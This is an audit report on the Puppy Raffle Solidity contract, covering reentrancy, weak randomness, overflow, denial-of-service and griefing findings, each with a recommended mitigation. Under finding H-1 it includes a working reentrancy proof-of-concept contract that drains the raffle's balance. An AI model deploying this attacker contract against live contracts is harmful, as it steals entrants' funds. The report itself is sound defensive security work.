Puppy Raffle Audit Report

Prepared by Alade Jamiu

January 7, 2026

Puppy Raffle Audit Report

AJTECH

January 7, 2026

Puppy Raffle Audit Report

Prepared by: Alade Jamiu

- Alade Jamiu

Table of Contents

About Alade Jamiu

I am a security researcher dedicated to building robust and secure decentralized systems. With a focus on all smart contract languages, I work to identify and mitigate vulnerabilities in smart contracts to protect users and protocols.

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the smart contract implementation.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Severity Definitions

- **High**: Serious security vulnerability that can lead to loss of funds, protocol failure, or permanent disruption.
- **Medium**: Vulnerability that can affect protocol operation or user experience, but requires specific conditions to exploit.
- **Low**: Minor issue or potential improvement that doesn't pose an immediate threat but should be addressed for best practices.
- **Informational**: Observations regarding code quality, readability, or optimization that do not impact security.

Audit Details

The findings described in this document correspond to the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Raffle is a protocol dedicated to raffling off puppy NFTs with varying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- **Owner**: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- **Fee User**: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- **Raffle Entrant**: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	0
Info	8
Total	**16**

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description The `PuppyRaffle::refund` function does not follow the Checks-Effects-Interactions (CEI) pattern. It performs an external call to the `msg.sender` before updating the `players` array, which keeps the player at the same index and allows them to call `refund` recursively until the contract balance is exhausted.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
          can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
          refunded, or is not active");
5
```

```
6  @>  payable(msg.sender).sendValue(entranceFee);
7
8  @>  players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

Impact A malicious participant can drain the entire contract balance, stealing all entrance fees deposited by other users.

Proof of Concept 1. An attacker enters the raffle from a contract. 2. The attacker calls `refund`. 3. The attacker's contract `receive` or `fallback` function calls `refund` again. 4. This continues until the contract is empty.

Proof of Code

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(address _puppyRaffle) {
7          puppyRaffle = PuppyRaffle(_puppyRaffle);
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     fallback() external payable {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24 }
```

Recommended Mitigation Update the state before performing any external interactions.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  +       players[playerIndex] = address(0);
```

```
+        emit RaffleRefunded(playerAddress);
         (bool success,) = msg.sender.call{value: entranceFee}("");
         require(success, "PuppyRaffle: Failed to refund player");
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description The contract uses `keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))` to generate a random number. These values are predictable or can be manipulated by block producers and users.

Impact An attacker can predict the winning index and time their transactions or manipulate their addresses to ensure they win the raffle and receive the rarest NFTs.

Proof of Concept Validators can predict `block.timestamp` and `block.difficulty` (or `prevrandao` in PoS) to calculate the winner before a block is even produced.

Recommended Mitigation Use a verifiable random function (VRF) like Chainlink VRF for secure on-chain randomness.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description The contract uses Solidity `0.7.6`, where integers are not checked for overflow by default. `totalFees` is defined as a `uint64`, which has a maximum value of ~18.44 ETH.

Impact If `totalFees` exceeds the `uint64` limit, it will overflow back to zero, causing the protocol to lose track of dividends and potentially breaking the `withdrawFees` function due to balance checks.

Proof of Concept If the raffle collects more than 18.44 ETH in cumulative fees, the `totalFees` counter will wrap around.

Recommended Mitigation 1. Upgrade to Solidity `0.8.0` or higher for built-in overflow protection. 2. Use `uint256` for `totalFees`.

[H-4] Malicious winner can forever halt the raffle

Description The `selectWinner` function uses `winner.call{value: prizePool}("")` and requires success. If the winner is a contract that reverts on receiving ETH or does not implement `onERC721Received` (since it also mints an NFT), the transaction will fail.

Impact A malicious user can intentionally enter with a contract that rejects ETH or the NFT, causing `selectWinner` to always revert, effectively locking the raffle and all funds within it.

Recommended Mitigation Use a pull-payment pattern where winners must claim their prizes themselves.

Medium

[M-1] Denial of Service (DoS) via redundant duplicate check in `enterRaffle`

Description The `enterRaffle` function loops through the entire `players` array to check for duplicates every time a new set of players is added. This results in $O(n^2)$ gas complexity.

Impact As the number of participants grows, the gas cost for new entrants will increase exponentially until it hits the block gas limit, preventing further entries.

Recommended Mitigation Use a mapping to track active players for $O(1)$ duplicate checking.

[M-2] Griefing attack via `selfdestruct` blocks `withdrawFees`

Description The `withdrawFees` function requires `address(this).balance == uint256(totalFees)`. Since an attacker can force ETH into the contract using `selfdestruct`, they can break this equality check.

Impact The owner will be unable to withdraw accumulated fees.

Recommended Mitigation Remove the strict balance equality check and only allow withdrawing up to `totalFees`.

[M-3] Unsafe cast of `fee` in `selectWinner`

Description In `selectWinner`, the calculated `fee` (a `uint256`) is cast to `uint64` before being added to `totalFees`.

Impact If a single raffle's fees exceed $2^{64} - 1$, the value will be truncated, leading to permanent loss of funds for the fee address.

Recommended Mitigation Avoid casting and use `uint256` for all fee calculations and storage.

[M-4] Smart Contract winners without receiving capabilities block new contests

Description If a winner is a contract that doesn't accept ETH, the `selectWinner` call fails, preventing the raffle from resetting.

Impact The protocol is halted until a viable winner is somehow selected (which might not be possible if all potential winners are malicious).

Recommended Mitigation Implement a claim mechanism rather than pushing funds.

Informational / Non-Critical

[I-1] Floating pragmas

Contracts should use a locked version (e.g., `pragma solidity 0.7.6`) to ensure consistency between development and deployment.

[I-2] Magic Numbers

Constants like `80` and `20` for percentages should be clearly defined as `uint256 private constant PRIZE_POOL_PERCENTAGE = 80;`.

[I-3] Test Coverage

The current test coverage is below 90%. It is recommended to increase testing for all branches and edge cases.

[I-4] Zero address validation

Missing zero-address checks for `feeAddress` in the constructor and settlement functions.

[I-5] Unused function

`_isActivePlayer` is never called within the contract and should be removed.

[I-6] Constants and Immutables

Variables like `commonImageUri` and `raffleDuration` that do not change should be marked `constant` or `immutable` to save gas.

[I-7] Erroneous index for active player

`getActivePlayerIndex` returns `0` for both the first player and inactive players. It should return a sentinel value like `type(uint256).max` for inactive players.

[I-8] Zero address considered active

If a player is refunded, their address is set to `address(0)`. `getActivePlayerIndex` might erroneously return an index for the zero address.